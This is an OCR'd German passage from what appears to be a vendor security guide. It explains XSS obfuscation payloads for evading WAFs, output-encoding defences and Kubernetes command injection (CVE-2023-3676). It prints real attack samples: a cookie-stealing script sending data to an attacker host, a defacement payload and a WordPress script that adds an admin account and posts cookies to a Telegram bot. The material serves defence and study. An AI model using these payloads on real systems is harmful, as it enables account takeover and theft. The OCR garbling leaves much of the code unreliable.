GET /shop/product/search.js?return=monitors HTTP/1.1
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Die entsprechende HTTP-Antwort lautet:

JavaScript
<script type="text/javascript">

var returnPath = encodeURIComponent("Return to all monitors");
</script>

Wie Sie sehen, wird die Nutzereingabe Uber das Rlickgabeargument in einem Skript-
Tag reflektiert. Um diesen Umstand auszunutzen, muss ein Angreifer lediglich aus der
zurlickgegebenen Zeichenfolge ,Return to all monitors® ausbrechen und neuen
JavaScript-Code injizieren. Das kann durch Hinzufligen von Anflihrungszeichen am
Anfang und Ende der Payload erfolgen.

JavaScript
GET /shop/product/search.js?return="-alert(1)-" HTTP/1.1

Diese Payload wurde zu folgender HTTP-Antwort fihren:

JavaScript
<script type="text/javascript">
var returnPath = encodeURIComponent("Return to all"-
alert(1)-"");
</script>

Sobald die urspriingliche Zeichenfolge geschlossen wurde, fuhrt der Browser die
alert-Funktion aus und zeigt das klassische XSS-Popup-Feld an. Die Payload ,alert(1)*
ist eine bekannte XSS-Payload und leicht zu erkennen. Doch Angreifer wissen das und
andern ihre Vorgehensweise, um Filter oder Web Application Firewalls (WAFs) zu
umgehen. Dank der Flexibilitat von JavaScript ist diese Payload erst der Anfang.
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SpafB mit JavaScript-Zeichenfolgen und -Variablen

Sobald ein Injection-Punkt identifiziert wurde, befolgen die meisten Angreifer ihre
Lieblingsanleitung zur XSS-WAF-Umgehung und durchlaufen die Payloads. Im
Allgemeinen ist dieser Ansatz nicht erfolgreich. Doch entschlossene Angreifer
beginnen, Payloads manuell zu testen, um eine WAF zu umgehen. In diesem Fall
besteht die erste Anpassung meist darin, die Payload mithilfe von Variablen aufzuteilen
und zu verschleiern. Anstatt ,alert(1)“ zu senden, erstellt die Payload eine Funktion als
Variable und ruft dann diese Variable auf.

JavaScript
a=alert,a(1)

Wie Sie sehen, ist der GroBteil der ursprlinglichen Payload noch vorhanden, sodass
keine Erkennungsprobleme auftreten. Damit diese Payload erfolgreich ist, muss der
Wert, der in der Variablen festgelegt ist, dem vollstandigen Funktionsnamen
entsprechen. So wird verhindert, dass der Funktionsname selbst verschleiert wird.

Der nachste logische Schritt besteht darin, eine Moglichkeit zu finden, den
Funktionsnamen selbst zu verschleiern. JavaScript bietet einige Mdglichkeiten, eine
Zeichenfolge dynamisch auszuwerten, als wére es JavaScript-Code. Die bekannteste
Methode ist die Verwendung der Evaluierungsfunktion (eval). Versuchen wir, verschiedene
Teile der Zeichenfolge ,alert® als einzelne Variablen zu speichern und sie dann auszuwerten.

JavaScript
a="al",b="ert",c=a+b,c(1) => doesn’t work since c¢ is a string
a="al",b="ert",eval(a+b)(1) => Success!

Die Evaluierungsfunktion ist sehr bekannt und kann zuverlassig erkannt werden. Es gibt
jedoch auch mehrere Eigenschaften des Fensterobjekts (window), mit denen Zeichenfolgen
dynamisch ausgewertet werden konnen. Die Payload kann direkt auf die Zeichenfolge
verweisen, oder es kdnnen Variablen Ubergeben werden, die die Zeichenfolgen enthalten.

JavaScript

top["al"+"ert"](1)

window["al"+"ert"](1)

parent["al"+"ert"](1)

globalThis["al"+"ert"] (1)

a="al",b="ert",window[a+b] (1) => can also pass variables
k="a',window[k+'lert'](1)
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Diese Payloads sind etwas schwieriger. Die Evaluierungsfunktion ist bekanntermaf3en
gefahrlich, und Entwickler verwenden sie selten auf legitime Weise. Doch das gilt nicht
fUr das Fensterobjekt und seine verschiedenen Eigenschaften. Das Fenster selbst ist
das, was ein Nutzer im Browser sieht. Wenn Sie Anderungen an einer Webseite
vornehmen, nehmen Sie Anderungen am Fenster vor. Um diese Payloads zu erkennen,
miissen Sie also nach der Eigenschaft suchen und dann versuchen, zu bestimmen,
was in ihr ausgefiihrt wird.

Es gibt zahlreiche Moglichkeiten, die an die Eigenschaft bergebene Zeichenfolge
weiter zu verschleiern. Beachten Sie, dass die Payload bereits erfolgreich ist, sobald die
Zeichenfolge in den JavaScript-Code aufgelost wird, der ausgeflhrt werden soll.

JavaScript

top[/*foox/"alert"/*foo*/](1) => JS comments
top[8680439..toString(30)](1) => "alert" in base30@
top[/al/.source+/ert/.source](1) => /.source converts to raw string
top['ale'.concat'rt'](1) => concatenation of two strings
top["alertb".substring(0,5)](1); => other functions can be also be
executed

Dies sind nur einige der praktisch unbegrenzten Mdoglichkeiten, wie eine Zeichenfolge
in JavaScript verschleiert werden kann. Viele dieser Techniken kdnnen ausgetauscht
oder miteinander kombiniert werden. Hier ist beispielsweise eine Payload, die alle oben
genannten Techniken verwendet.

JavaScript
top[/a/.source+"le".concat'r'/*foo*/+29..toString(30)](1)
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XSS-Verhinderung und -Abwehr

Die einzig praktikable Losung, um diese Art von Schwachstellen zu verhindern, ist der
Einsatz tiefgreifender Sicherheit. Elemente wie Codepriifungen oder WAFs kdnnen
dazu beitragen, die Entstehung und Ausnutzung von XSS-Schwachstellen zu
verhindern. Einer der effektivsten Schritte besteht jedoch darin, eine
Ausgabecodierung fiir alle vom Nutzer gesteuerten Parameter hinzuzufiligen. Hierzu
gibt es viele Moglichkeiten, die vom verwendeten Web-Framework abhangen. Sehen
wir uns an, warum die Ausgabecodierung XSS-Schwachstellen verhindert.

Um ausreichenden Schutz zu gewahrleisten, missen bestimmte Zeichen codiert
werden, damit die Nutzereingabe sicher ist. Indem diese Zeichen codiert werden, wird
verhindert, dass Angreifer sie verwenden, um aus dem beabsichtigten Kontext der
reflektierten Eingaben auszubrechen. Diese Zeichen und ihre jeweiligen HTML-
codierten Versionen lauten:

JavaScript
=> &quot;
‘=> &#x27;
< => &It;
> => &gt;
& => &amp;

Wenn nutzergesteuerte Eingaben in JavaScript-Code reflektiert werden, muss ein
Angreifer lediglich aus der vorhandenen Zeichenfolge ausbrechen. Und genau das
verhindert die Ausgabecodierung.

Um das Ganze zu veranschaulichen, werfen wir einen weiteren Blick auf das vorherige
Beispiel. Hier ist die Payload, die ohne Ausgabecodierung gesendet und reflektiert wird.
Beachten Sie die Anfihrungszeichen, die am Anfang und am Ende der Payload
hinzugefligt wurden, um die urspriingliche Zeichenfolge zu beenden.

Anfrage:

JavaScript
GET /shop/product/search.js?return="-alert(1)-" HTTP/1.1

Antwort:

JavaScript
<script type="text/javascript">

var returnPath = encodeURIComponent("Return to all"-alert(1)-"");
</script>
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Anstatt die Payload in der vorliegenden Form wiederzugeben, wurde die
Ausgabecodierung die Nutzereingabe andern, bevor sie in der zurlickgegebenen
HTML-Datei platziert wird. Fur diese Payload wirden die Anfiihrungszeichen
HTML-codiert. Daraus ergibt sich folgende Antwort:

JavaScript
<script type="text/javascript”>
var returnPath = encodeURIComponent(“Return to all
&quot;-alert(1)-&quot;”);
</script>

Aufgrund der Codierung kann die Payload die vorhandene Zeichenfolge nicht mehr
beenden und den beabsichtigten JavaScript-Code nicht mehr ausfuhren. Mit der
richtigen Ausgabecodierung sowie anderen Kontrollen kdnnen Verteidigungsteams
die Verbreitung von XSS-Schwachstellen erheblich reduzieren. Die meisten Web-
Frameworks verfiigen Uber integrierte Funktionen, um das zu erreichen. Doch wie in
allen anderen Fallen kann das allein nicht garantieren, dass das Problem behoben wird.
Wenn die Ausgabecodierung richtig implementiert ist, ist eine Umgehung zwar sehr
schwierig, aber nicht unmaoglich.

Popup-Felder sind gliicklicherweise keine Bedrohung

Der Schutz von Anwendungen erfordert echte Teamarbeit und verschiedene Ebenen
von Sicherheitskontrollen. In dieser Demonstration waren die Payloads relativ harmlos
und erzeugten nur ein Popup-Feld im Browser. Obwohl diese Demonstrationen in der
Regel verwendet werden, um das Vorhandensein einer XSS-Schwachstelle
nachzuweisen, stellen Popup-Felder an sich keine Bedrohung dar.

Um mehr darlber zu erfahren, wie Angreifer XSS als Waffe einsetzen, untersuchen wir
im Folgenden ein Beispiel, das Akamai-Forscher in diesem Jahr gefunden haben.

Eine tiefgreifende Analyse von XSS-Exploits durch Remote Resource Injection

Um die Auswirkungen eines XSS-Exploits angemessen darzustellen, fihrte die Akamai
Security Intelligence Group eine eingehende Analyse der XSS-Daten durch, die von der
CSI-Plattform (Cloud Security Intelligence) erfasst wurden. Das Ziel dieser Analyse war es,
die spezifischen Techniken zu identifizieren, die bei realen Exploit-Versuchen eingesetzt
werden - im Vergleich zu einfachen PoC-Sondierungsanfragen (Proof-of-Concept) zur
Identifizierung anfalliger Vektoren. Genauer gesagt haben wir XSS-Angriffe analysiert, bei
denen versucht wurde, Remote-JavaScript-Ressourcen in Seiten einzubetten - anstelle
von Sondierungsanfragen, die von Scannern ausgefiihrt werden.
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Wie bereits erwahnt, sind die meisten Reflected-XSS-PoC-Payloads im Wesentlichen
gutartig und versuchen, eine der folgenden JavaScript-Methoden aufzurufen: alert(),
prompt() oder confirm(). Dies sind die De-facto-Methoden flir Scanner, um zu
beweisen, dass eine XSS-Schwachstelle tatsachlich existiert und dass die Payload
tatsachlich von der JavaScript-Engine des Browsers ausgefuhrt wird. Diese Payloads
versuchen jedoch nicht, den Endnutzer auszunutzen.

Umfang der Analysen und Ergebnisse

Fur diese Umfrage haben wir sieben Tage lang JavaScript-Injection-Versuche im
Dezember 2024 Uberprift. Bevor wir potenziell schadliches Verhalten analysieren
konnten, mussten wir unsere Fuhler in alle Richtungen ausstrecken, um alle Anfragen zu
identifizieren, die Verweise auf Remote-JavaScript-Ressourcen enthielten. Sobald wir
diese Daten gesammelt hatten, konnten wir tiefer gehen, um den Zweck des JavaScript-
Codes zu identifizieren.

Die Uberwiegende Mehrheit (mehr als 98 %) der Verweise auf Remote-JavaScript-Code
bezieht sich auf legitime JavaScript-Frameworks, die z. B. fiir Folgendes verwendet werden:

*  Werbetechnologie
*  Frameworks flr Nutzererlebnis oder -oberflache

* Nutzer- oder Websiteanalysen

Blind-XSS-Tests fur Bug-Bounty-Programme

Es gab auch eine groBe Menge an Payloads, die von Bug Huntern genutzt wurden, die
an den 6ffentlichen Bug-Bounty-Programmen von Akamai teilgenommen haben. Es
gibt drei Hauptgrinde dafir, fir Bug-Bounty-Prozesse JavaScript aus Remote-Quellen
zu verwenden.

1. Der XSS-Injection-Vektor weist GroBenbeschrankungen auf: Bug Hunter
erkennen vielleicht, dass ein Parameter anfallig fur XSS ist, doch es gibt
GroBenbeschrankungen, die ihre Fahigkeit einschranken, die Kritikalitat zu
demonstrieren. Diese GroBenbeschrankungen erschweren die Ausfihrung von
PoC-Code. In diesen Situationen konnen Bug Hunter eine kleine Payload
verwenden, die einfach auf eine von ihnen kontrollierte Remote-JavaScript-
Datei verweist. Im folgenden Screenshot versuchen die Angreifer, die URL
http://NJ.Rs einzufligen.

JavaScript
/file.php?param=<script/src=//NJ.Rs></script>
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2. Blinde Automatisierungen: Wenn Bug Hunter Remote-XSS-Services hosten
konnen, kann diese Methode fiir Automatisierungstests verwendet werden, in
denen eine XSS-Payload tatsachlich ausgeflinrt wird. Bei normalen, manuellen
Reflected-XSS-Tests muss der Bug Hunter bestatigen, ob eine Payload im
Webbrowser ausgefiihrt wird, was schwieriger zu skalieren ist. Umgekehrt
injizieren Bug Hunter mit Blind-XSS-Tests einfach ihren JavaScript-Quellcode in
alle Zielparameter und tiberwachen dann ihren XSS-Remote-Service, um
festzustellen, ob Aufrufe an ihn getatigt werden. Dann kdnnen sie diese Aufrufe
einfach zuruckverfolgen, um festzustellen, welcher Standort und Parameter
ausgenutzt wurden. Ein Beispiel flr eine sehr groBe und komplexe Blind-XSS-
PoC-Datei, die von Bug Huntern verwendet wird, ist unten dargestellt.

JavaScript

/*%
(\____/) __ . ezXSS 4.2
(_o00_) \\ /- - - - __
(0) \\/\N/ T ] !
e NV VA
[1/______ N[TZ NZ/NZ7 N2l I=] I=l=1=1 | \2—, | If you believe this tool has been tested or abused on your application
I\ IAVA 41 warnung! avertissem
/ /__\ warning! jadvertencia! wpi!

(\ /____\ aviso! T[peaynpexpenue! peringatan! STRICTLY PROHIBITED FOR ANY ILLEGAL ACTIVITY | More info: https://ezxss.

This is an automated tool for penetration testers and bug bounty hunters

‘_ \/ _° | to test applications for (cross-site-scripting) weaknesses.

t! | ___/ without your permission, please contact us at abuse@ezxss.com.

function ez_n(e){return void 0 !==e?e:’''}

function ez_cb(t,e){var n=new

XMLHttpRequest;n.open(“POST", (“https:”!==window.parent.location.protocol?”http:":"https:")+"//c0ff33b34n.ez.pe/
callback”, !8),n.setRequestHeader(“Content-type”, "text/plain”),n.timeout=6e4,n.onreadystatechange=function(){4===n.
readyState&&200===n.status&&null!==e&&e(n.responseText)},n.send(JSON.stringify(t))}

==CUT==

Blind-XSS-Services umfassen:
* Kostenlos, selbst gehostet
o https://github.com/mandatoryprogrammer/xsshunter-express
o https://github.com/projectdiscovery/interactsh
o https://github.com/mazen160/xless
o https://github.com/ssl/ezXSS
* Kostenlos, von Drittanbietern gehostet
o https://blindf.com/
o https://ez.pe/manage/account/signup

o https://xss.bughunter.app/dashboard/payload

o https://xss.report/
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3. Umgehung der Content Security Policy Wenn Bug Hunter auf ein Szenario
stof3en, in dem eine Zielsite eine XSS-Schwachstelle aufweist, aber eine
Content Security Policy (CSP) vorhanden ist, die die Ausnutzung verhindert,
sind moglicherweise CSP-Schwachstellen vorhanden, die ausgenutzt werden
konnen. Betrachten Sie beispielsweise diesen CSP-Antwortheader:

JavaScript
Content-Security-Policy: script-src 'self' ajax.googleapis.com;
object-src 'none' ;report-uri /Report-parsing-url;

Diese Richtlinie erlaubt die Auflistung von Domains fur das Laden von Skripten in
Angular JS. Sie kann mit der folgenden Payload umgangen werden, die Callback-
Funktionen aufruft und bestimmte anfallige Klassen verwendet:

JavaScript

param=1234""'><script
src=https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.
min.js></script><div ng-app ng-csp><textarea autofocus
ng-focus="d=Sevent.view.document;d.location.hash.match('x1') 2?2 "'
d.location="https://XXXXXXXX.bxss.in'"></textarea></div>

Taktiken von Angreifern

Wir haben untersucht, welchen Zweck die JavaScript-Skripte aus Remote-Quellen
hatten, und dabei viele Beispiele fir reale Angriffe gefunden, darunter Cookie-
Diebstahl, Website-Defacement und Session Riding/Cross-Site Request

Forgery (CSRF).

« Cookie-Diebstahl: Cyberkriminelle versuchen, Sitzungscookiedaten an eine von
ihnen kontrollierte Website zu senden, damit sie sie zur Kontotibernahme
verwenden konnen. Im folgenden Beispiel wird versucht, die URL-, referrer- und
document.cookie-Daten zu erfassen und sie in einer XHR-Anfrage an die Site des
Angreifers zu senden.
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JavaScript
try {
var re;
var ri;
var r2;
try { r@ = window.btoa(eval(windowatob('ZG9jdW11bnQuY29va21l'))) } catch { r@ = document.cookie };
try { r1 = window.btoa(eval(window.atob('ZG9jdW11lbnQucmVmZXJyZXI="))) } catch { r1 = document.referrer };
try { r2 = window.btoa(eval(window.atob('ZG9jdW11lbnQuVVJM'))) } catch { r2 = document.URL };
var xhr = null;
var x1 = "aHR@cDovL3htcy5sYSINNVIFOA==";
try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject('MicrosoftXMLHttp') };
xhr.open(window.atob('cG9zdA=="), window.atob(x1), true);
xhr.setRequestHeader ('Content-type', 'application/x-www-form-urlencoded');
xhr.send('r@="' + r@ + '&r1=' + r1 + '&r2=' + r2 + "&c=M5YE8");
} catch {

*  Website-Defacement: Threat Actors injizieren JavaScript-Code, der document.
documentElement.innerHTML verwendet, um eine neue HTML-Seite zu erstellen, die
dem Client angezeigt wird (siehe folgenden Codeausschnitt).

JavaScript

document.documentElement.innerHTML=String.fromCharCode(660, 33, 68, 79, 67, 84, 89, 80, 69,
32, 104, 116, 109, 108, 62, 10, 60, 164, 116, 109, 108, 32, 168, 97, 110, 103, 61, 34, 101,
110, 34, 62, 10, 10, 68, 104, 101, 97, 160, 62, 10, 32, 32, 32, 32, 60, 109, 101, 116, 97,
32, 99, 104, 97, 114, 115, 101, 116, 61, 34, 85, 84, 70, 45, 56, 34, 62, 10, 32, 32, 32, 32,
60, 109, 101, 116, 97, 32, 110, 97, 109, 101, 61, 34, 118, 185, 101, 119, 112, 111, 114, 116,
34, 32, 99, 111, 110, 116, 101, 110, 116, 61, 34, 119, 105, 100, 116, 104, 61, 100, 101, 118,
105, 99, 101, 45, 119, 105, 100, 116, 104, 44, 32, 105, 110, 105, 116, 105, 97, 108, 45, 115,
99, 97, 108, 101, 61, 49, 46, 48, 34, 62, 10, 32, 32, 32, 32, 60, 116, 165, 116, 108, 101,
62, 72, 65, 67, 75, 69, 68, 32, 66, 89, 32, 115, 107, 117, 168, 108, 50, 48, 95, 105, 114,
60, 47, 116, 105, 116, 188, 101, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 114,
101, 108, 61, 34, 112, 114, 101, 99, 111, 110, 110, 101, 99, 116, 34, 32, 104, 114, 101, 102,
61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 110, 116, 115, 46, 103, 111, 111, 103,
108, 101, 97, 112, 105, 115, 46, 99, 111, 109, 34, 62, 10, 32, 32, 32, 32, 68, 108, 105, 110,
107, 32, 114, 101, 108, 61, 34, 112, 114, 101, 99, 111, 118, 110, 101, 99, 116, 34, 32, 104,
114, 101, 102, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 110, 116, 115, 46, 103,
115, 116, 97, 116, 105, 99, 46, 99, 111, 109, 34, 32, 99, 114, 111, 115, 115, 111, 114, 105,
103, 105, 110, 62, 10, 32, 32, 32, 32, 68, 108, 105, 110, 107, 32, 104, 114, 101, 102, 61,
34, 104, 116, 116, 112,

---CUT---
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Abbildung 19 zeigt einen Screenshot in einem Brave-Webbrowser mit gecffneten DevTools,
dem zugrunde liegenden Code und dem resultierenden HTML-Code mit dem Defacement.

Elements Console Sources Network Performance Memory  Application  Lighthouse ) 1 A1

¢ -‘ top v ¥ Filter afault lavels v 1k
34, 115, 99, 114, 111, 188, 188, 34, 32, 168, ms 114, 191, 99, 116, 185, 111, 118, 61, 34, 114, 185, 183, 184, 116, 34, 3z,
115, 99, ll-l 111, 108, 108, 168, 161, 188, 57, 131, 61, 34, 53, 46, 48, 3, ’2 119 34,
34, 32 , 99, 113, 111, ies, ies, 97 111 111 110, 118, 61, 34, 50, 48, 8
114, 4 183, ll‘l 10 95 9

uu 116, 62, ﬁa

1es, 101, 61, 34, 162, 111, 118, 115,
, 183, 111, 1ie, 116, 45, 115, 105, 122,

b2, 35, 185, 114, 97, 110, 60, 47, 117, 62, 10, 60

2, 97, 109, 1 g, 5 115,
131 sa, 54, 50, 112, 1zu ‘59, 3:, 99, 111, 1aa 111, 11

Abb. 19: XSS-Websitelibernahme

» Session Riding/CSRF: Wir haben viele Beispiele von Angreifern gesehen, die
versuchten, blinde Session-Riding-/CSRF-Angriffe auf WordPress-Administratoren
durchzufuhren. Bei diesen Payloads hoffen die Angreifer darauf, dass ein
WordPress-Administrator irgendwie Protokolldateien oder eine HTML-Seite mit der
Angriffspayload anzeigt. Wenn diese Payload im Browser des Administrators
ausgefuhrt wird, versucht sie, einen giiltigen Rest-,nonce“-Wert von einer
Endpunkt-URL zu erfassen und dann gefalschte Administratorkonten hinzuzufligen.
Der Beispielcode unten erreicht die gewlinschte Logik und sendet zusatzlich eine
Benachrichtigung mit den Angriffsdetails an den Telegram-Kanal des Angreifers.

JavaScript
const start = async () => {
try {
// Fetch REST nonce from the specified URL

const nonceResponse = await fetch('/wp-admin/admin-ajax.php?action=rest-nonce');

// Check if the response is successful and retrieve the text

const nonce = nonceResponse.ok ? await nonceResponse.text() : null;

// If nonce is available, proceed to create a new WordPress user
if (nonce) {
const userResponse = await fetch('/wp-json/wp/v2/users', { .
method: 'POST',
headers: {

'X-Wp-Nonce' : nonce,

'Content-Type': 'application/json'
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body: JSON.stringify({
username: 'admin@zzna.ru',
password: 'dacai@123',
roles: ['administrator'],

email: 'admin@zzna.ru'
})
3

// Check if the user creation was successful or encountered a server error
if (userResponse.ok || userResponse.status === 500) {
// Get cookies

const cookies = document.cookie;

// Notify about the new user creation via Telegram including cookies
await

fetch('https://api.telegram.org/bot6898182997:AAGUIFwWP-BsBjDpzscyJ7pLHbiUS_Cq51NI/
sendMessage', {

method: 'POST',
body: JSON.stringify({
chat_id: '686930213',

text: 'URL: ${document.URL}\nNew User Created!\nCookies:

${cookies}"
1,
headers: {

'Content-Type': ‘'application/json’
}
1)
}
}

} catch (error) {

// Handle any errors during the process
console.error(error);

return false;

}
i
// Initiate the process .
.
start(); AR .
‘s . . -
[ L “ “
\ “ . L)
) ) . .
%$ s 8 3
s 8 8 g
s 8 B g
s % 8 g -
¢ % 8 g
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Noch nicht tot

XSS ist nicht tot - esist nach wie vor eine der gro3ten Bedrohungen fir
Webanwendungen. Es gibt eine ganze Welt des Cross-Site Scriptings, die weiter Uber
PoC-Popup-Felder hinausgeht. Angreifer nutzen XSS-Schwachstellen fur viele
schandliche Zwecke aus.

Unternehmen kdnnen gegen die Ausnutzung von XSS-Schwachstellen in ihren
Webanwendungen vorgehen, indem sie Schwachstellenscans durchfiihren und \Web
Application Firewalls einsetzen, um ihre anfalligen Sites zu schitzen. Endnutzer sollten
sicherstellen, dass sie stets die aktuelle Version ihres Webbrowsers verwenden (da diese
einen integrierten XSS-Schutz besitzt). Darlber hinaus sollten sie in Betracht ziehen, ein
Sicherheits-Plugin wie NoScript zu installieren.

Leitfaden fiir Abwehrspezialisten 2025 | Band 11, Ausgabe 01 Akamai.com | 40



https://www.akamai.com/de
https://www.akamai.com/de/products/app-and-api-protector
https://www.akamai.com/de/products/app-and-api-protector
https://noscript.net/
https://www.akamai.com/de

@kamai

m Host-Sicherheit

Hostsicherheit spielt in der heutigen Cybersicherheit eine wichtige Rolle. Container
sind wie kompakte, eigenstandige Pakete, die nicht nur eine Anwendung enthalten,
sondern auch alles, was diese Anwendung zum Ausfuhren bendtigt. Im Gegensatz zu
sperrigen VMs arbeiten Container direkt mit dem Hostsystem zusammen, wodurch
sie leicht und einfach bereitzustellen sind.

Container bieten zwar erstaunliche Flexibilitat, bringen aber auch neue
Sicherheitsherausforderungen mit sich. Die Implementierung der Hostsicherheit
erfordert eine sorgfaltige Planung und ein tiefgreifendes Verstandnis der
potenziellen Risiken. Es geht nicht nur um Schutz, sondern darum, eine robuste
Verteidigung zu schaffen, die sich an die dynamische digitale Landschaft anpassen
kann. Das Ergebnis? In der heutigen Technologiewelt ist intelligente Hostsicherheit
nicht nur eine Option, sondern eine Notwendigkeit.

In diesem letzten Abschnitt des tiefgreifenden Sicherheitsframeworks werden die
Chancen und Herausforderungen von Kubernetes untersucht.

Kubernetes

Kubernetes ist ein Open-Source-Framework zur Container-Orchestrierung. Wenn
Kubernetes eine Infrastruktur und Anwendungen (in Form von Containern) erhalt, weif3 es,
diese bereitzustellen und zu verwalten sowie Lastausgleich, Ausfalle und die Skalierung von
Workloads zu bewaltigen. Es ist ein wichtiges Werkzeug in der Welt der verteilten
Berechnung - und als solches naturlich auch ein lukratives Ziel fur Angreifer. Mit
Kubernetes wird ein groBer Teil der Infrastruktur und des Codes in Unternehmen verwaltet,
darunter auch kritische Komponenten. Deshalb kann ein Angriff, der erfolgreich in die
Infrastruktur eindringt oder sie ausnutzt, schwerwiegende Folgen haben.

Angesichts der zunehmenden Abhangigkeit von Kubernetes in der Unternehmenswelt
haben wir uns auf eine Forschungsreise begeben und 2023 und 2024 sechs CVEsin
Kubernetes gefunden, die Command-Injection-Angriffe ermoglichen. Diese Angriffe
kdnnen zu einer Gefahrdung und vollstiandigen Ubernahme des Kubernetes-Clusters
fihren. Wir haben auch einen Konstruktionsfehler in einem Sidecar-Projekt gefunden,
der die Extraktion sensibler Daten oder eine dauerhafte Ausfliihrung ermoglichen kann.
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So funktioniert Kubernetes

Bevor wir uns mit der Frage befassen, wie Kubernetes angegriffen und tbernommen
werden kann, sollten Sie verstehen, wie es funktioniert.

Die kleinste Recheneinheit in einem Kubernetes-Cluster wird als Pod bezeichnet. Diese
Pods bestehen aus einem oder mehreren Containern, die die Anwendung hosten, die
Sie ausfuhren mochten. Pods werden auf gemeinsamer Basis innerhalb von Knoten
(oder ,Nodes®) ausgefiihrt - das sind virtuelle oder physische Maschinen - und stellen
die Rechenressourcen bereit. All das wird von den Controller-Knoten Uberwacht, die
Orchestrierung und Ressourcenzuweisung verwalten. Es ist auch moglich, Namespaces
innerhalb eines Clusters zu erstellen, um Ressourcengruppen innerhalb des Clusters zu
isolieren. Auf diese Weise konnen Sie innerhalb des Clusters eine Trennung zwischen
verschiedenen Komponenten erreichen (Abbildung 20).

Cluster

Controller-Knoten
Namespace 1 Namespace 2
1 \ ( 1 )

R
‘ SQL-Service nginx-Service

—_——ee e e e e e e — — —— — —— —

o

Abb. 20: Allgemeiner Uberblick iiber die Kubernetes-Cluster-Architektur
Konfiguration von Kubernetes

Kubernetes verwendet YAML-Dateien flir praktisch alles: von der Konfiguration des

Container Network Interface Uber die Pod-Verwaltung bis hin zur Geheimnisverarbeitung.

YAML ist eine Sprache fur die Serialisierung von Daten, die besonders nutzerfreundlich
ist. Administratoren laden YAML-Dateien mit den gewiinschten Konfigurationen und
Aktionen (z. B. zur Bereitstellung eines neuen Pods) auf den Controller-Knoten hoch, und
der Controller-Knoten kiimmert sich um alles (Abbildung 21).

Pod-Anfrage

-
curl/cli Controller- erstellen Worker-
> Knoten > Knoten

Pod

Abb. 21: Kubernetes-Workflow zur Pod-Bereitstellung
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Aufgrund des administrativen Aspekts, der fur die Konfiguration und Bereitstellung von
Containern erforderlich ist, kann jede Schwachstelle im Parsing-Mechanismus der
Konfiguration verheerende Folgen haben, z. B. die vollstandige Ubernahme des
Controller- oder Worker-Knotens.

Command-Injection-Angriffe

In der Regel sind Nutzer in einem Kubernetes-Cluster nur dazu in der Lage, Pods
bereitzustellen oder herunterzufahren. Die Knoten selbst - also die eigentlichen
Maschinen, auf denen die Pods laufen - sind fiir sie unerreichbar. Fir die Bereitstellung
dieser Pods mussen jedoch verschiedene Aktionen im Betriebssystem der Knoten
ausgefuhrt werden. Diese Aktionen ergeben sich direkt aus der Konfiguration, die von den
Nutzern bereitgestellt wird. Wenn die Eingabe nicht Uberprtift oder bereinigt wird, kdnnen
Angreifer Betriebssystembefehle in die Eingabe injizieren, die wahrend der YAML-
Dateiverarbeitung ausgelost und direkt auf dem Knoten ausgefiihrt werden (Abbildung 22).

Hohe Berechtigungen

)

Codeausflihrung

Pod-Anfrage
curl/cli erstellen
I Controller- I oy Worker-
Knoten X Knoten

L J

Niedrige Berechtigungen

Abb. 22: Command-Injection-Angriff, der dazu fiihrt, dass Befehle direkt
auf den Knoten ausgefiihrt werden

Es gibt verschiedene Griinde daflr, dass Angreifer versuchen, die Knoten im Cluster zu
ubernehmen:

* Diebstahl von Computerressourcen: Dank der Mdglichkeit, beliebige Programme
auf den Knoten und Pods auszuflihren, konnen Angreifer in einer gehackten
Infrastruktur ihre eigenen Botnets hosten oder Kryptomining betreiben.

* Einstiegspunkt zum Unternehmen: Da Pods einen Teil der Logik des Unternehmens
hosten, verfligen sie in der Regel tiber irgendeine Verbindung zum Rest des
Rechenzentrums. Das bedeutet, dass ein Angreifer, der den Knoten erfolgreich
angreift, in der Lage sein konnte, sich lateral zum Ubrigen Netzwerk zu bewegen. Das ist
besonders lukrativ flir Cyberkriminelle, die diesen Erstzugang vertreiben: Sie verkaufen .
den Zugang zu einem geknackten Netzwerk ganz einfach an den Meistbietenden.

» Eskalation von Berechtigungen: Da Knoten mehrere Container und Services
hosten, ist moglicherweise eine laterale Netzwerkbewegung innerhalb des
Clusters erforderlich, um den gewunschten Zugriff zu erhalten. Zwar haben Pods in
der Regel keinen solchen Zugriff, doch ein Command-Injection-Angriff auf den
Knoten kann es vereinfachen, die nétigen Daten zu erlangen.
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von Pods und dem Host-Knoten gemeinsam genutzt werden. Da Pods fluchtiger Natur
sind, wurden Volumes erstellt, um eine permanente Speicherlosung zu schaffen, die
geandert werden kann, ohne dass das Pod-Container-Image neu erstellt werden muss.
Dasist niitzlich, wenn etwas aktualisierbar sein soll, wie z. B. eine Website.

Esistjedoch auch nutzlich, wenn Sie den Cluster Ubernehmen wollen. Wenn Volumes den
Knoten und den Pod verbinden, mussen sie auf tatsachliche Pfade zeigen - sowohlim
Dateisystem des Hosts (dem Worker-Knoten) als auch im virtuellen Dateisystem des Pods.
Bei der Bereitstellung eines neuen Knotens werden beide Pfade in der YAML-Konfiguration
angegeben, und sie beide sind flr unsere Zwecke von Interesse (Abbildung 23).

volumeMounts:

- name: test
mountPath: /var
subPath: /log/syslog

volumes:
- name: test
hostPath:

’ path: /var

Abb. 23: Kubernetes-Volume-Konfiguration

CVE-2023-3676

Insbesondere interessieren wir uns fur den Parameter subPath, der ein relatives
Verzeichnis auf dem Host angibt. Im Rahmen der Prifungen dieses Parameters
untersucht kubelet (der primare Service fir die Ausflihrung von Containern auf Knoten),
ob es sich um eine symbolische Verknlpfung handelt. Unter Windows nutzt der Service
hierzu einen PowerShell-Befehl und Gibergibt den Parameter unverandert. Daher kdnnen
wir einfach eine PowerShell-Evaluierungszeichenfolge verwenden, um zu veranlassen,
dass unser eigener Befehl ausgefihrt wird, bevor der Befehl zur Priifung auf die
symbolische Verknilipfung ausgefiinrt wird (Abbildung 24).

@ Hohe Berechtigungen
\

l Codeausfuhrung
volumeMounts: Pod—Anfrage
- name: test B
{“"Eﬂf?“;é""f" 1| _curl/ch > Controller- erstellen ) ) Worker-
subPath: tart-process cmd)
- = Knoten X Knoten

volumes :

\
Niedrige Berechtigungen

- name: test
hostpPath:
path: c:\var

Abb. 24: Ausnutzung der subPath-Priifung auf symbolische Verkniipfung
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Wir haben dieses Problem dem Kubernetes-Team gemeldet, und ihm wurde
CVE-2023-3676 zugewiesen. Das Problem wurde behoben, indem der subPath-
Parameter als Umgebungsvariable Ubergeben wird, die nicht vor der eigentlichen
